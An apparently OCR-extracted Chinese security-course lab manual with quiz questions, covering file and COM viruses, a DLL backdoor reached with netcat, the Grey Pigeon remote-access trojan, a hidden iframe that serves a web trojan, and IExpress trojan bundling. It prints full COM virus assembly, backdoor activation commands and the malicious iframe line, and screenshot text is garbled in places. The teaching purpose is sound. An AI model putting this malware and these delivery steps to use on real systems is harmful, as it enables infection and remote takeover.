C 感染文件最后一节,并修改 PE 文件头部分

D 以上说法都对

#### 步骤 3、设计专杀工具

参考例程 vk 源码(位于目录 D:\ExpNIC\VirusAD\Projects\vk\下), 编写病毒专杀程序,清除 laborDayVirus.exe 病毒。

通过步骤 2, 了解到 LaborDayVirus. exe 病毒的感染机制,这里通过所学的知识对病毒进行清除。

(1) 查找病毒寄存特征。

入口点在代码节(.text)之外,病毒代码存储于最后一节、且在病毒代码 段后的一个双字为原程序代码入口 RVA(在.text 节范围内)。

文件病毒代码以 0xE58BE0FF 结尾。

(以上特征是对简化后的病毒特征的总结、实际中的病毒要复杂的多);

- (2) 查找原程序入口点。
- (3) 修改程序入口点为原程序入口点。

(4) 修改病毒感染的最后一个节表的 SizeOf RawData, 使之大小变为去掉病 毒代码时的大小。

(5) 修改 PE 文件选项头中的 SizeOf Image 为去掉病毒代码后的大小。

- (6)清除病毒代码数据。
- (7)保存清除病毒代码后的文件。
- 1、文件型病毒的主要特点是? ( D )
  - A 感染可执行文件
  - B 隐藏在宿主程序中
  - C 先执行病毒程序再执行宿主程序
  - D 以上说法都对
- 2、文件型病毒主要感染对象是? ( B )
  - A 扩展名为. doc 和. txt 的文件
  - B 扩展名为. com 和. exe 的文件
  - C 扩展名为. bmp 和. jpg 的文件
  - D 扩展名为.pdf 和.psd 的文件

#### DLL 注入型病毒

本练习主机 A、B 为一组, C、D 为一组, E、F 为一组。

#### 步骤1、主机A安装BITS

双击"我的电脑"进入"D:\ExpNIC\VirusAD\Tools\DLLVirus"目录,右键

点击文件"DLLVirus.rar"选择"解压到当前目录"。

打开命令行工具,并进入到 bits 所在目录

(D:\ExpNIC\VirusAD\Tools\DLLVirus),在命令行中输入如下命令: rundl132.exe BITS.dll, Install test

#### 步骤 2、主机 B 连接 BITS 服务

(1) 打开命令行,进入到网络连接工具 nc. exe 所在的目录: "cd D:\ExpNIC\ Common\Tools\NetCat"。

(2) 用 nc 连接主机 A 的任何一个可用的 TCP 端口(如 80/139/445....)。

例如主机 A 的 IP 为"172.16.1.74", 139 端口可用,则在命令行中输入如下的命令:

nc 172.16.1.74 139

(3) 按照以下格式输入激活命令

<Active Strings>@dancewithdolphin[xel1]:<PORT>

例如,在安装的时候设定了 Active Strings 为 test,将 CMD 绑定在端口 9999,则在命令行输入如下的命令:

test@dancewithdolphin[xel1]:9999

这样主机 A 就会将 CMD 绑定在 9999。

(4) 连接主机 A 的指定端口 9999: nc 172.16.1.74 9999, 连接成功后会得 到"C:\WINDOWS\system32" 的提示符。

上述步骤的正确操作及结果如下图所示:

ewithdolphin[xell] 目录名或卷标语法不正确。 IIC\Common\Tools\NetCat>nc 172.16.0.149 139 IC\Common\Tools\NetCat>nc 172.16.0.149 139 Common \Tools \NetCat>nc 172.16.0.149 80 lphin[xell]:9999 400 Bad Request Dec 2016 07:17:24 GMT -Length: 35 h1>Bad Reguest (Invalid Verb)</h1> \Common\Tools\WetCat>nc 172.16.0.149 Windows [版本 5.2.3790]

图 1

主机 A 与主机 B 同学互换角色再做一遍,分别把自己操作的结果截图,将该 图片上传。

実現 我的电話 018-05-	15 20:00.43			<b>∖</b>
网上邻居	and the second s	and the second s		
-	命令提示符 - ne 172.16.29.57 999     Winners Ct. 11/2 10:00 F町本 F. 0.20	9		
「日本社	<pre>//c&gt;版权所有 1985-2003 Microso</pre>	oft Corp.		
	D:\ExpNIC>cd Common\Tools\NetC	Cat		
19	D:\ExpNIC\Common\Tools\NetCat>	enc 172.16.29.57 139		
Internet Explorer	D:\ExpNIC\Common\Tools\NetCat>	nc 172.16.29.57 139		
	D: \ExpNIC\Common \Tools \NetCat} test@dancewithdolphin[xell:99 HTTP/1.1 400 Bad Request Content-Type: text/html Date: Tue, 15 May 2018 12:00:0 Connection: close	one 172.16.29.57 80 199 95 GMT		
	Content-Length: 35 <h1>Bad Request (Invalid Verb)</h1>			
	D:\ExpNIC\Common\Tools\NetCat} Microsoft Windows [版本 5.2.37 (C) 版权所有 1985-2003 Microso	vnc 172.16.29.57 9999 90] ft Corp.		
	C:\WINDOWS\system32>_		+1	er2003
				012003
1141 3 3 11 11 11 11 11 11 11	Mỹ - ne 172			
步骤 3、在主枝	几A上查看BITS状	态 🛛 🤳	-	
(1) 查看系统	端口。			
在命今行轴	ì入命今"netstat -	- an", 可以看到主	机 A 端口 999	9 与主机 B 的
TCP 连接 加 <sup>-</sup>	下图所示.			
	CWirusAD\Tools\DLLViru	us>netstat −an		
Active C	onnections			
<b>D</b>				
TCP	Local Hddress 0.0.0.0:21	Foreign Address 0.0.0.0:0	State LISTENING	
TCP	0.0.0.9:23	0.0.0.0:0	LISTENING	
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING	
TCP	0.0.0.0:81	0.0.0.0:0	LISTENING	
TCP	0.0.0.0:443	0.0.0.0.0	LISTENING	
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING	
TCP	0.0.0.0:1025	0.0.0.0:0	LISTENING	
TCP	0.0.0.0:1027	0.0.0.0:0	LISTENING	
TCP	0.0.0.0:6666	0.0.0.0:0	LISTENING	
TCP	0.0.0.0:7772	0.0.0.0:0	LISTENING	
TCP	0.0.0.0:7773	0.0.0.0:0	LISTENING	
TCP	0.0.0.0:7774	0.0.0.0:0	LISTENING	
TCP	0.0.0.0:9999	0.0.0.0:0	LISTENING	
TCP	127.0.0.1:1026	0.0.0.0:0 172 16 0 150-1024	ESTABLISHED	
UDP	0.0.0.0:445	*:* 117-10-0-100-1034	ESTRUCTORED	
		图 2		

(2) 查看 Windows 进程。

打开"Windows 任务管理器",会查看到多出一个 cmd. exe 进程,这个进程 就是 BITS. dl1 的载体。

📕 Windows 任务管理器				
文件(E) 选项( <u>○</u> ) 查看(⊻)	帮助( <u>H</u> )			
应用程序 进程 性能	│联网 │用户	]		
映像名称	用户名	CPU	内存使用 ▲	
conime. exe cmd. exe	Administrator Administrator	00 00	2,436 K 68 K	
cmd. exe	SYSTEM	00	1,808 K	
wmiprvse.exe	SYSTEM	00	5,008 K	
vmtoolsd.exe	SYSTEM	00	9,420 K	
tlntsvr.exe	SYSTEM	00	3,200 K	
svchost. exe	SYSTEM	00	3,568 K	
taskmgr.exe	Administrator	00	2,328 K	
ASWL2K. exe	SYSTEM	00	3,668 K 👘 🛛	
alg.exe	LOCAL SERVICE	00	2,860 K	
inetinfo.exe	SYSTEM	00	10,772 K	
ASWLSVC. exe	SYSTEM	00	4,924 K	
msdtc. exe	NETWORK SERVICE	00	4,300 K	
dllhost.exe	SYSTEM	00	7,068 K	
VMwareUser.exe	Administrator	00	6,812 K	
svchost. exe	SYSTEM	00	17,096 K	
svchost. exe	SYSTEM	00	4,028 K 🖵 🛛	
	TOCAT CEDIACE	00	2 404 2	
□ 显示所有用户的进程 ②			结束进程 (图)	

图 3

(3) 结束主机 A 上所有名称为 cmd 的进程,再次查看系统端口信息,9999 端口 是否还进行连接。

#### 步骤 4、主机 A 卸载 BITS

- (1) 在主机 A 的命令行输入如下命令, 卸载 BITS: rundl132.exe BITS.dll, Uninstall
- (2) 主机 B 再次连接 BITS 服务,查看是否成功 (不成功)

主机 A 与主机 B 同学互换角色再做一遍,分别把自己操作的结果截图,将 该图片上传。

要的申喻 11	8-05-15 20:08:42	
网上邻居	▶ D:VE2p#IC/V++usAD/Teels/DLV+=u= 変体(2) 編集(2) 審査(2) 必要(A) 工具(7) 報告(3)	
<b>1</b> 2000	○局 Microsoft Windows [版本 5.2.3790] 地址C (C) 版权所有 1985-2003 Microsoft Corp.	
1	文 D:\ExpNIC>cd VirusAD\Tools\DLLVirus	
Internet Bigliorar	D: ExpNIC WirusAD Tools VDLWirus> undll32.exe bits.dll, Uninstall D: \ExpNIC WirusAD Tools \DLLWirus>	
	Ϊ.	<u>-</u> 2003
	类型: WinBAR 压缩文件 修改日期: 2012-7-12 9:58 大小: 23.4 KB 23.4 B	33. 34 我的电脑 ///
● 开始 ② ●	▶ D:\ExpHIC\VirusAD\T.\ 里 Windows 任务管理器	[1] 100 (20:08     ]



**COM 病毒** 每组1人

#### 步骤 1、自制 test.com

(1) 在 d 盘目录下创建"VIRUS\_C"文件夹,在"VIRUS\_C"下新建两个文件 "c. asm"和"virus. asm"。然后进行查看,如下图所示:

D:\UIRUS_C>c 驱动器 D 中 卷的序列号;	lir 的卷没 是 <b>5485</b> -	有标签。 -69D8		
D: VIRUS_C	的目录			
2016-12-08 2016-12-08 2016-12-08 2016-12-08 2016-12-08	08:47 08:47 08:46 08:46 08:46 2 2 2	〈DIR〉 〈DIR〉 文件 「目录 9」	0 c.asm 0 virus 0 字 .299,042,304 可	.asm 节 用字节

图 1 进入 VIRUS\_C 目录

(2) 编写"c.asm"中的代码,如下图所示:



D:\VIRUS_C>c	lir					
Unlune in d	lviue D h	as no lai	hel.			
Unlune Cane	al loc b h		<u> </u>			
Volume Ser	Lai Munde	r 18 540	2-0300			
Directory of	of D:\VIR	US_C				
001/ 10 07	16-13	ZDIDN				
2010-12-07	10-13	<b>VDIK</b> 2				
2016-12-07	16:13	<dir></dir>				
2016-12-07	16:09		184	C. 88	n	
2016-12-02	16-09		791	C EY	F	
2010 12 07	10.00		(11	U. En	<u> </u>	
2016-12-07	10:03		-79	c.ob		
2016-12-07	16:13		<23	TEST	.COM	
2016-12-07	15:55		Ø	uim	e_aem	
LOIO IL OI	E B11	-/->	4	õnn"	hutan	
	5 F11	ets/		Dec	bytes	
	2 Dir	(s) 9,	299,034,	112	bytes	free
D-NULDIE CN						

图 6 查看新生成的 test.com

### 步骤 2、自制 Virus.exe

(1) 在"virus.asm" 中添加代码,如下图所示:

CSEG SEGMENT	
ASSUME CS:CSEG,DS:CSEG,SS:CSEG	
main PROC NEAR	
mainstart: CALL vstart;病毒的代码开始处 vstart:	
POP SI ;得到当前地址 MOU BP,SI ;保存当前地址 PUSH SI MOU AH,9 ADD SI,OFFSET message-OFFSET ustart ;现实预设字符串 MOU DX,SI INT 21h	
POP SI ADD SI,OFFSET yuan4byte-OFFSET ustart ;取得原程序中的前四个字节 MOU DI,100h ;目的地址 MOU AX,DS:[SI] ;开始复制 MOU DS:[DI],AX INC SI INC SI INC DI INC DI INC DI MOU AX,DS:[SI] MOU AX,DS:[SI]	
MOU SI,BP ;恢复地址值 HOU DX,OFFSET deIname-OFFSET ustart ADD DX,SI MOU AH,41h ;删除文件 INT 21h	
MOU DX,OFFSET filename-OFFSET vstart ;得到文件名 ADD DX,SI MOU AL,02 MOU AH,3dh ;打开文件读写 INT 21h	

```
📕 virus. asm - 记事本
                                                                  文件(E) 编辑(E) 格式(D) 查看(V) 帮助(H)
        JC error
                                                                       *
        MOU BX,AX ;文件句柄
        MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节
        ADD DX,SI
        MOV CX,4
        MOV AH,3fh ;读文件
        INT 21h
        MOV AX,4202h ;到文件尾
        XOR CX,CX
        XOR DX,DX
        INT 21h
        MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方
        ADD DI,2
        ADD DI,SI
        SUB AX,4
        MOV DS:[DI],AX
        ADD SI,OFFSET mainstart-OFFSET ustart ;准备写入病毒
        MOV DX,SI
        MOV vsizes,OFFSET vends-OFFSET mainstart
        MOV CX,vsizes
        MOV AH,40h ;写文件
                                                        V
        INT 21h
        MOV SI,BP ;定位到文件头
        MOV AL,0
        XOR CX,CX
        XOR DX,DX
        MOV AH,42h
        INT 21h
        MOU AH,40h ;将新的文件头写入
        MOV CX,4
        MOV DX,OFFSET new4byte-OFFSET vstart
        ADD DX,SI
        INT 21h
                                                                       ▼
📕 virus. asm - 记亊本
                                                                  - 🗆 🗵
文件 (2)
      编辑(E) 格式(0) 查看(V)
                          帮助(H)
error:
                                                                       MOV AX,100h
       PUSH AX
RET
main ENDP
yuan4byte:
       RET
       DB 3 DUP (?)
vsizes DW Ø
new4byte DB 'M',0e9h,0,0
Filename DB "TEST.COM",0
delname DB "del.txt",0
message DB "You are infected by a simple com virus~~"
DB Odh,Oah,"$"
vends:
start:
        MOV AX,CSEG
        MOV DS,AX
       MOU SS,AX
       CALL main
       MOV AX,4c00h
        INT 21h
CSEG ENDS
       END start
```



图 12 感染后文件变化

(4) 复制"test.com"一个新文件"test1.com",以便后面修改使用。执行 "test1.com"结果如下图所示:



#### 步骤4、修复

(1) 对"test1.com"进行修复,如下图所示:
D:\VIRUS_C>ren test1.com test1
D:\VIRUS_C>debug test1
-РСХ CX ЙИЕF
:15
-m102 115 100 -e100 eb 08
-e10c ba 02 01
-w Writing 00015 bytes
-q
D:\VIRUS_C>

图 15 修复 test1.com

[注] ren 是修改文件名,格式为 ren +旧文件+新文件; debug 是启动测试 和调用程序,rcx 是修改内容(将寄存器 CX 的值设为 15),m 是指定内存区域 的数据复制到指定的地址,e 是修改存储单元内容,danw 是写入可执行的文 件,q 是退出。

(2) 将"test1" 改为"test1.com",并执行,如下图所示:



图 16 改名并执行

(3) 进入"C: \tools\Vstart 工具包\免杀专业包\tool\w32dsm", 打开"W32Dasm"工具,查看相关修改前后的文件内容,如下图所示:

[注] W32Dasm 工具是一个强大的反汇编工具,操作简单,使用方便。 W32Dasm 的具体使用方法参见实验原理。W32Dasm 工具分析出的是源文件内容的 反汇编内容。

//************************************	f Code in Segment: 1 ***************
:0001.0100 EB0A	jmp. 0102
:0001.0102 90	nop
:0001.0103 90	nop
:0001.0104 686560	push 6065
:0001_0107 60	insb
:0001.0108 6F	outsw
:0001.0109 0D0A24	or ax, 246A
* Referenced by a (U)hoonditions (:0001.0100(U)	1 of (C)onditional Jump at Address:
:0001_010C B409	mov ah, 09
:0001.010E BA0401	mov dx, 0104
:0001.0111 CD21	int 21
:0001.0113 B44C	mov ah, 40
:0001.0115 CD21	int 21
:0001.0117 000000000000000000000	BYTE 10 DUP(0)
:0001.0121 000000000000000000000	BYTE 10 DUP(0)
:0001.012B 0000000000000000000000	BYTE 10 DUP(0)
:0001.0135 00000000000000000000	BYTE 10 DUP(0)
:0001.013F 00000000000000000000	BYTE 10 DUP(0)
:0001.0149 0000000000000000000000	BYTE 10 DUP(0)
:0001.0153 0000000000000000000000	BYTE 10 DUP(0)
:0001.015D 00000000000000000000	BYTE 10 DUP(0)
:0001.0167 00000000000000000000000	BYTE 10 DUP(0)
-0001-0171 00000000000000000000000	BYTE 10 DUP(0)
-0001 0178 00000000000000000000000	BYTE 10 DUP(0)
-0001 0185 0000000000000000000	BYTE 10 DUP(0)
-0001 0187 0000000000000000000000	BYTE IG DUP(0)
-0001 0199 00000000000000000000	BYTE 10 DUD/01
-0001 01/2 000000000000000000000000000000	PVTP 1 DUD/01
-0001_0140_000000000000000000000	PATE 10 DUP(0)
-0001 0182 0000000000000000000000	BALL DUP(O)
-0001 0101 0000000000000000000000	DUTE O DUD(O)
-0001 01CR 000000000000000000000000000000	PVTF ID DUD(0)
-0001.0105 00000000000000000000000	DUTE 10 DUE(0)
-0001 0107 00000000000000000000000000000	pres annos Et that
	BYTE DUD(a) 恐朱肌
-0001 0122 00000000000000000000000000000	DITA TO DUP(O)
图 17 名	至看源文件
*	



:0001.0100 BB08	jmp 010à
:0001.0102 686560	push 6065
:0001.0105 60	insb
:0001.0106 6F	outsw
10001.0107 0D0A24	or ax, 2403
* Referenced by a (U)nconditiona (:0001.0100(U)	l or (C)onditional Jump st Address:
-0001.0108 B409	mov ah. 09
:0001.010C BA0201	mov dx. 0102
-0001.010F CD21	int d
:0001.0111 B440	mov ah, 40
:0001.0118 CD21	int 21
:0001.0115 000000000000000000000	BYTE 10 DUP(0)
:0001.011F 0000000000000000000000	BYTE 10 DUP(0)
:0001.0129 00000000000000000000	BYTE 10 DUP(0)
:0001.0133 0000000000000000000000	BYTE 10 DUP(0)
:0001.0130 0000000000000000000000	BYTE 10 DUP(0)
:0001.0147 0000000000000000000000	BYTE 10 DUP(0)
:0001.0151 00000000000000000000	BYTE 10 DUP(0)
:0001.015B 0000000000000000000000	BYTE 10 DUP(0)
:0001.0165 00000000000000000000	BYTE 10 DUP(0)
:0001.016F 0000000000000000000000	BYTE 10 DUP(0)
:0001.0179 0000000000000000000	BYTE 10 DUP(0)
:0001.0183 0000000000000000000000	BYTE 10 DUP(0)
:0001,018D 00000000000000000000000000000000000	BYTE 10 DUP(0)
:0001.0197 000000000000000000000	BYIE TO DUP(0)
10001.01A1 000000000000000000000	BYTE 10 DUP(0)
:0001.01AB 0000000000000000000000	BYTE TO DUP(0)
:0001.0165 000000000000000000000	BYTE 10 DUP(0)
-0001.01BF 0000000000000000000000	BYTE 10 DUP(0)
10001.01C9 0000000000000000000	BYTE 10 DUP(0)
:0001.01D3 000000000000000000000	BYTE 10 DUP(0)
	BTTE 10 DUP(0)
-0001.018/ 00000000000000000000000000000000000	BYTE TO DUP(0) 体有后
	BITE TO DUP(O) 少友巾
	BILE TO DUP(0)
<b>反</b> 10 本 <i>#</i>	手握 10 0000000000000000000000000000000000
図 19 <b>旦</b> 信	1 吃久口的人什
同学把自己操作的结果截图,将i	<b>涿图片上传。</b>



# 实验5 特洛伊木马技术

【实验目的】

1、了解木马的工作原理

2、理解木马的植入过程、清除过程

【实验学时】 2学时

【实验环境】 Windows 2003

【实验工具】 灰鸽子; AVG Anti-Spyware; MyCCL; OC; Ollydbg; UltraEdit-32等

【实验原理】 通过实验步骤学习网页木马,利用工具生成网页木马,完 成对默认网站的"挂马"过程,并通过木马对目标主机进行操作。操作完成后 将木马删除; 分别利用 IExpress 工具、WinRAR 工具进行木马安装程序的捆 绑,并对目标主机进行控制;利用工具生成 gh0st 木马,完成主机 A 与主机 B 之间的链接,从而使主机 A 将服务端程序拷贝到主机 B 上,最终在查找主机 B 系统开启的服务中能找到 gh0st 木马;学习特征码定位的原理和方法,并通过 对特征码的修改,实现对木马安装程序的免杀;

【实验步骤】

## 网页木马

每2人一组

#### 步骤1、生成网页木马

(1) 主机 A 右键"我的电脑"->"管理"->"服务和应用程序"->"服务",检查 Kingsoft Uplive Service 服务是否为停止状态,如服务已经启动,将其停止。

(2) 主机 A 首先通过"程序|管理工具|Internet 信息服务(IIS)管理器 |HOST3A|网站右键"启动"木马网站"如图。

	8	1× III	0.			
Internet 信息服	5	计算机		本地	版本	状況
HDST3A (本地i- ) FTP 站点 ) 应用程序计 问 放射 用程序计 用成 1 0 数认问 单点登 1 0 数认问 1 0 数 元登 1 0 数 数 元登 1 0 章 1 0 章	- 算机) 站 录对比网站 资源管理 打开(0) 权限(1) 浏览(0)	SI HOST3 器(E)	A (本地计算机)	日定	IIS V5.0	
<ul> <li>■</li> <li>単点:</li> <li>■</li> <li>●</li> <li>●<th><b>启动(5)</b> 行止(5) 拍(5(4)</th><th></th><th></th><th></th><th></th><th></th></li></ul>	<b>启动(5)</b> 行止(5) 拍(5(4)					
(±) 🥥 Web Aprixe -	新建 (2) 所有任务	(K)	:			
	从这里创	建窗口(1)	1			
 9止项目	翻除(Q) 重命名(U) 副新(Q)	D			1	

(3) 主机 A 进入 Vstart 中的网络攻防中单击"灰鸽子"按钮运行灰鸽子远程监 控木马程序。

(4) 主机 A 生成木马的"服务器程序"。

主机 A 单击木马操作界面工具栏"配置服务程序"按钮,弹出"服务器配置" 对话框,单击"自动上线设置"属性页,在"IP 通知 http 访问地址、DNS 解析域名 或固定 IP"文本框中输入本机 IP 地址;单击"生成服务器"按钮,生成木马 "Server\_Setup. exe"保存到 D: ExpNIC \Common \web \木马网站。

目动上线 捕获屏幕 当前连接: 搜索内容: 文件管理器 远程控制命 文件管理器 远程控制命	21 新安約 1000000	■AUL ● ○ ○ ○ 高額选项 (插件功能) ○ 四文件: ① 说明	保存
日日3-4008 日日3日前 日日3日前 日日1日前 日前上続王机(1) 日日1日前 日日前 日	上线图像: 上线图像: 目动上线方组: 自动上线主机 上线备注: 连接密码: 配置记录: 2017-01-16_095135	: 8000 说明 ◎ 清除	I
	用戶名称: 用户密码 下载进度: 灰鸽子 [Ver 1.23] 英俊纯本 ・ 电信服务器下载	码: 地訳解版 [2008-03-03] 阿通服务器下载,	
当前自动上线端口:8000 有主机上线了! 9:58:54	保存路径:D:\ExpMIC\Common\Web\木马	网络	ne

(5) 主机 A 编写生成网页木马的脚本。

在桌面建立一个"Trojan.txt" 文档,打开"Trojan.txt",将实验原理中 网页木马脚本写入,并将脚本第15行"主机 IP 地址"替换成主机 A 的 IP 地址。

把"Trojan.txt"文件扩展名改为".htm",生成"Trojan.htm"。

将生成的"Trojan.htm" 文件和灰鸽子生成的"Server\_Setup.exe" 保存到 D:ExpNIC\Common\web\木马网站, "Trojan.htm" 文件就是网页木马程序。

#### 步骤 2、完成对默认网站的"挂马"过程

(1) 主机 A 进入目录"D:ExpNIC\Common\web\wwwroot",使用记事本打开 "index.html"文件。

("默认网站"的网站空间目录为"D:ExpNIC\Common\web\wwwroot",主页为"index.html")

(2)对"index.html"进行编辑。在代码的底部加上<iframe>语句,iframe<标签(需将 http://www.jlyuxin.net/index.html 修改为 http://本机IP:9090/Trojan.htm),实现从此网页对网页木马的链接。以下代码为例,具体 IP 地址为本机 IP。</li>

(iframe src="http://172.16.0.105:9090/Trojan.htm" name="yuxin" width=0 height=0 frameborder=0>
回答问题: 命令中 width=0 height=0 frameborder=0,分别表示? ( B )
A index.html页面的宽,高,边框分别为0

B Trojan.htm页面的宽,高,边框分别为0

#### 步骤3、木马的植入

主机 B 启动 IE 浏览器,访问"http://主机 A 的 IP 地址"。主机 A 通过灰鸽 子查看主机 B 是否上线,将该结果截图上传。

sol of the second

自动上线 捕获屏幕 视频	监控 Telnet 配置服务程序	₩ <u>■</u> 最小化 退出	
当前连接:	电脑名称: 连接密	8码: 保存	
搜索内容:	自动上线主机 🗢 搜索线	告果:显示搜索结果 ◎ 搜索	
文件管理器 远程控制命令 注册 文件目录测监	表编辑器(命令广播)		-
又件日求阅见 ●		子 ふ 2 … 查看	; font-stretch: normal
日····································	名称 (大小(字节)	) (修改日期 )	
间 HDST3A [公网]	GD:		
由 見 HOST3A [公网] ★ 20 符合条件主机	⇒E:		lant: normal; font-weig
			:h: normal; color:
			Cont usuisata acumala
			e; font-stretch: normal;
			-weight: normal; font
			DIOP: DIACK; XII
有主机上线了: 21:01:38 有主机上线了: 21:02:24			管理器。
HLULAUJ. CLUCK		×	
	我的电脑	自动上线:3台	7(7012
(/thedu)(/table)			
() coody () cables			
Kiframe src="httm	://172.16.29.62:9090/Troia	n.htm" name = "vuxin" width=A	neight=0 frameborder=0>
		Junio Interest	

## 步骤 4、木马的功能

(1) 文件管理

主机 B 在目录"D:\"下建立一个文本文件,并命名为"Test.txt"。

主机 A 操作"灰鸽子远程控制"程序来对主机 B 进行文件管理。

单击"文件管理器"属性页,效仿资源管理器的方法在左侧的树形列表的"自动上线主机"下找到主机 B 新建的文件"D:\Test.txt"。在右侧的详细列表中对该文件进行重命名操作。

名称	[大小(字节)	【修改日期 【
Drive Information		2014-08-16 05:49
🔁 ež s		2014-08-18 05:59
eis_work		2014-08-16 01:41
RECYCLER		2014-08-16 05:01
System Volume I		2014-08-16 06:16
🕑 1. txt	0	2016-01-20 02:50

在主机 B 上观察文件操作的结果。

(2) 系统信息查看

主机 A 操作"灰鸽子远程控制"程序查看主机 B 的操作系统信息。单击"远程 控制命令"属性页,选中"系统操作"属性页,单击界面右侧的"系统信息"按钮, 查看主机 B 操作系统信息。

又伴宮理器   這程控制命令   汪唐表編編器   命令) 攝	
系統芯片: 2100.13 WHz (79内石: 2096660KB Tindows集本: Tindows Server 2003 5.2 (3790. Service Pack 1) Tindows集合: (JUNUE) 注册公司: JJUNUE 注册公司: JJUNUE 当前日用: 2016-1-20 2:54:21 开?約1日: 2016-1-20 2:54:21 开?約1日: 2016-1-20 2:54:21 开?約1日: 0:49:39 计型で名称: JLTUTUE 窗口分類率: 1024IT66 服务編獻本: Yer1.23-0309	▲ <u> 承続信息</u> 配置信息
系统信息 對切板查看 进程管理 窗口管理 服务管理 共享管理 ms-DOS模拟	1 代理服务 插件管理

(3) 进程查看

主机 A 操作"灰鸽子远程控制"程序对主机 B 启动的进程进行查看。 单击"远程控制命令"属性页,选中"进程管理"属性页,单击界面右侧的"查 看进程"按钮,查看主机 B 进程信息。

[System Fr         0           System         4           smss.exe         39           csrss.exe         44           winlogon.exe         41           services.exe         52           lsmss.exe         53	92 68 72 24	[System Proce System smss.exe csrss.exe winlogon.exe services.exe	55]				
System 4 Smss.exe 39 Csrss.exe 44 winlogon.exe 47 Services.exe 52 Slsass.exe 53	82 68 72 24	System smss.exe csrss.exe winlogon.exe services.exe				夏看进程	
Smss.exe 39 csrss.exe 44 winlogon.exe 47 services.exe 52 lsass.exe 53	92 98 72 24	sess.exe csrss.exe winlogon.exe services.exe				東看进程	
Cerrs.exe 44 winlogon.exe 47 services.exe 52 lsass.exe 53	48 72 24	csrss.exe winlogon.exe services.exe				產看进程	
Ninlogon.exe 47 Services.exe 52 Slsass.exe 53	72 24	winlogon.exe services.exe				AL BALL	
services.exe 52	24	services. eze				Second se	
lsass.exe 53	542						
	30	lsass.exe					
svchost.exe 72	24	sychost. exe				47.1.3860	
svchost. eze 81	12	sychost. exe				30TC/24E	
🔤 swchost. eze 🛛 86	58	sychost. exe					
🖾 swchost. eze 🛛 89	96	sychost. exe					
🖾 swchost. eze 🛛 90	08	sychost. exe					
🔤 spoolsv. exe 🛛 11	192	spoolsv.exe					

主机 B 启动 Windows 任务管理器,查看进程,并和主机 A 的查看结果相比较。

应用程序进行	性能   联网   用)	₽	
映像名称	用户名	CPU	内存使用
IEXPLORE, EX	E SYSTEM	00	4,968 K
IEXPLORE. EX	E SYSTEM	00	4,960 K
taskmgr.ex	e Administrator	00	4,532 K
IEXPLORE. EX	(E SYSTEM	00	4,996 K
IEXPLORE. EX	(E SYSTEM	00	5,044 K
svchost. ex	SYSTEM	00	4,384 K
ctfmon. exe	Administrator	00	2,744 K
svchost. ex	SYSTEM	00	5,496 K
explorer.ex	ce Administrator	00	15,732 K
IEXPLORE. EX	(E SYSTEM	00	4,952 K
svchost. ex	LOCAL SERVICE	00	1,300 K
inetinfo.e:	te SYSTEM	00	10,944 K
svchost. ex	SYSTEM	00	2,120 K
dns. exe	SYSTEM	00	4,700 K
msdtc. exe	NETWORK SERVICE	00	4,012 K
spoolsv.ex	e SYSTEM	00	4,808 K
svchost. ex	e SYSTEM	00	14,600 K
svchost. ex	LOCAL SERVICE	00	3,388 K
sychost ex	NETWORK SERVICE	00	4 272 K
[ 見完飯右]	目白的进程(5)		

#### (4) 注册表管理

主机 A 单击"注册表编辑器"属性页,在左侧树状控件中"远程电脑"(主机 B)注册表的"HKEY\_LOCAL\_MACHINE\Software\" 键下,创建新的注册表 项"test";对新创建的注册表项进行重命名等修改操作;删除新创建的注册表 项。主机 B 点击"开始 | 运行"输入"regedit"点击确定,查询相应注册表项。



(5) Telnet

主机 A 操作"灰鸽子远程控制"程序对主机 B 进行远程控制操作,单击菜单项中的"Telnet"按钮,打开 Telnet 窗口,使用"cd c:\"命令进行目录切换,使用"dir"命令显示当前目录内容,使用其它命令进行远程控制。

(C) 版权所有	1985-2003 Micros	soft Corp.	
cd c:/	system322cd c:\		
C:\>dir dir 驱动器 C q 卷的序列号;	P的卷没有标签。 是 60D2-46DB		
C:\ 的目录			
2014-07-15 2014-07-15 2014-07-15 2014-07-15 2014-08-15 2014-08-19 2016-01-20 2014-07-15	14:20 14:20 14:25 UIR> 14:34 UIR> 01:35 UIR> 07:34 UIR> 02:42 UIR> 14:20 UIR> 2 个文件 2 个文件	0 AUTOEXEC.BAT 0 CONFIG.SYS Documents and Settings driver Inetpub Program Files WINDOWS wmpub 0 字节	

(6) 其它命令及控制

主机 A 通过使用"灰鸽子远程控制"程序的其它功能(例如"捕获屏幕"),

对主机 B 进行控制,将该结果截图上传。



参 我的文档	▲ 133. 文件 (1) 编辑 (2) 查看 (1) 收藏 (2) 工具 (2) 帮助 (2)
15.40 4U.83	<mark>◎1.txt = 记事本</mark> 文件(2) 编辑(2) 格式(2) 查看(Y) 帮助(2) is good
<b>等</b> 网上邻居	
<b>100</b> 1000	
Internet Explorer	
Morilla T	
马捆绑与隐藏	

# 步骤 1、 利用 IExpress 进行木马安装程序的捆绑

(1) 主机 A 进入实验平台,单击工具栏"灰鸽子"按钮打开灰鸽子控制端,配置并生成木马服务程序。

点击配置服务程序图标,打开服务器配置对话框。在"(IP 通知)DNS 解析 域名、固定 IP 或网页文件"下填入本机 IP。自定义一个保存路径。



0.0-21	172.16.0.14
★ 上线端口: 8000 自动上线主机	上线国际· 金 、 上线分组: 自动上
(说明)	上线备注:
2016-11-25_110832 (清除)	配置记录: 2016-
用户密码:	四名称:
子 [Ver 1.23] 英俊纯本地破解版 [2008-03-03]	
2016-11-25_110832 用户密码: 月子 [Ver 1.23] 英俊纯本地破解版 [2008-03-03] 定服冬哭下载	配置记录: 2016- P名称: 进度: 灰鸽子 [Ver

(2) 主机 A 打开"开始" | "运行", 输入"iexpress", 点击回车进入 Iexpress 向导。

(3) 选择"Create new Self Extraction Directive file",点击"下一步"。

(4) 进入"Package purpose"页签,选择"Extract files and run an installation command",点击"下一步"按钮。

(5) 进入"Package title"页签,在空白处输入"(空格)",点击"下一步"按钮。

(6) 进入"Confirmation prompt"页签,选择"No prompt",点击"下一步" 按钮。

(7) 进入"License agreement"页签,选择"Do not display a license", 点击"下一步"按钮。

(8) 进入"Packaged files"页签,点击"Add"按钮,添加第(1)步骤中生成的木马安装程序和要捆绑的目标软件 superdic. exe(c:\tools\系统安全工具集\字典生成器下),点击"下一步"按钮。

(9) 进入"Install Program to"页签,在"install Program"选择木马安 装程序,在"Post Install Command"中选择捆绑的软件。点击"下一步"按钮。

(10) 进入"Show window"页签,选择"Hidden"选项,点击"下一步"按钮。

